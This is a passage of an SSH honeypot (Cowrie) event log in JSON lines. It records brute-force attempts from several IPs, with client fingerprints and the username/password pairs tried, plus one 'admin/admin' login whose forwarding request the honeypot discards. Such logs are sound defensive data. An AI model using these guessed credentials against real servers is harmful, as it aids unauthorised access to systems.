fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:46.199805Z","src_ip":"193.32.162.151","session":"8bfc705af571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:46.518982Z","src_ip":"193.32.162.151","session":"8bfc705af571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:47.630410Z","src_ip":"193.32.162.151","session":"8bfc705af571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":55968,"dst_ip":"10.17.0.5","dst_port":22,"session":"e23461295742","protocol":"ssh","message":"New connection: 43.128.112.183:55968 (10.17.0.5:22) [session: e23461295742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:52.383978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:52.388508Z","src_ip":"43.128.112.183","session":"e23461295742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:52.617491Z","src_ip":"43.128.112.183","session":"e23461295742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":58398,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2a1ba254190","protocol":"ssh","message":"New connection: 43.134.1.45:58398 (10.17.0.5:22) [session: c2a1ba254190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:52.987879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:52.992344Z","src_ip":"43.134.1.45","session":"c2a1ba254190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:53.238178Z","src_ip":"43.134.1.45","session":"c2a1ba254190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sysadmin","message":"login attempt [root/sysadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:53.565432Z","src_ip":"43.128.112.183","session":"e23461295742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":52240,"dst_ip":"159.203.135.109","dst_port":22,"session":"6906745c2e61","protocol":"ssh","message":"New connection: 103.77.175.15:52240 (159.203.135.109:22) [session: 6906745c2e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:54.070867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:54.076020Z","src_ip":"103.77.175.15","session":"6906745c2e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:54.254376Z","src_ip":"43.134.1.45","session":"c2a1ba254190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:54.329380Z","src_ip":"103.77.175.15","session":"6906745c2e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:54.797035Z","src_ip":"43.128.112.183","session":"e23461295742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqqq","message":"login attempt [root/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:55.085864Z","src_ip":"103.77.175.15","session":"6906745c2e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:55.504403Z","src_ip":"43.134.1.45","session":"c2a1ba254190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:56.340003Z","src_ip":"103.77.175.15","session":"6906745c2e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":45886,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba70b281a6f","protocol":"ssh","message":"New connection: 43.135.164.198:45886 (159.203.135.109:22) [session: 2ba70b281a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:22.461570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:22.466740Z","src_ip":"43.135.164.198","session":"2ba70b281a6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:22.536229Z","src_ip":"43.135.164.198","session":"2ba70b281a6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"india123","message":"login attempt [root/india123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:22.845126Z","src_ip":"43.135.164.198","session":"2ba70b281a6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:23.917872Z","src_ip":"43.135.164.198","session":"2ba70b281a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49800,"dst_ip":"159.203.135.109","dst_port":22,"session":"da576adfb12c","protocol":"ssh","message":"New connection: 38.93.206.2:49800 (159.203.135.109:22) [session: da576adfb12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:34.420012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:34.425730Z","src_ip":"38.93.206.2","session":"da576adfb12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:34.477268Z","src_ip":"38.93.206.2","session":"da576adfb12c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pakistan","message":"login attempt [root/pakistan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:34.640988Z","src_ip":"38.93.206.2","session":"da576adfb12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49066,"dst_ip":"10.17.0.5","dst_port":22,"session":"22cfe4f816ec","protocol":"ssh","message":"New connection: 87.251.64.176:49066 (10.17.0.5:22) [session: 22cfe4f816ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:35.557394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:35.562791Z","src_ip":"87.251.64.176","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:35.683713Z","src_ip":"87.251.64.176","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:35.696110Z","src_ip":"38.93.206.2","session":"da576adfb12c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:35.974106Z","src_ip":"87.251.64.176","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:36.116549Z","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:36.259398Z","src_ip":"87.251.64.176","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:36.398371Z","src_ip":"87.251.64.176","session":"22cfe4f816ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":40902,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb9aa4e5f47","protocol":"ssh","message":"New connection: 171.244.37.97:40902 (159.203.135.109:22) [session: 0eb9aa4e5f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:46.135265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:46.140412Z","src_ip":"171.244.37.97","session":"0eb9aa4e5f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:46.383587Z","src_ip":"171.244.37.97","session":"0eb9aa4e5f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2019","message":"login attempt [root/2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:47.386334Z","src_ip":"171.244.37.97","session":"0eb9aa4e5f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":35140,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c0f662ca8a9","protocol":"ssh","message":"New connection: 43.135.168.126:35140 (159.203.135.109:22) [session: 8c0f662ca8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.392288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.397259Z","src_ip":"43.135.168.126","session":"8c0f662ca8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.466017Z","src_ip":"43.135.168.126","session":"8c0f662ca8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.636419Z","src_ip":"171.244.37.97","session":"0eb9aa4e5f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":40444,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8b1d03af15","protocol":"ssh","message":"New connection: 163.53.168.23:40444 (10.17.0.5:22) [session: de8b1d03af15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:00:48.687482Z"}
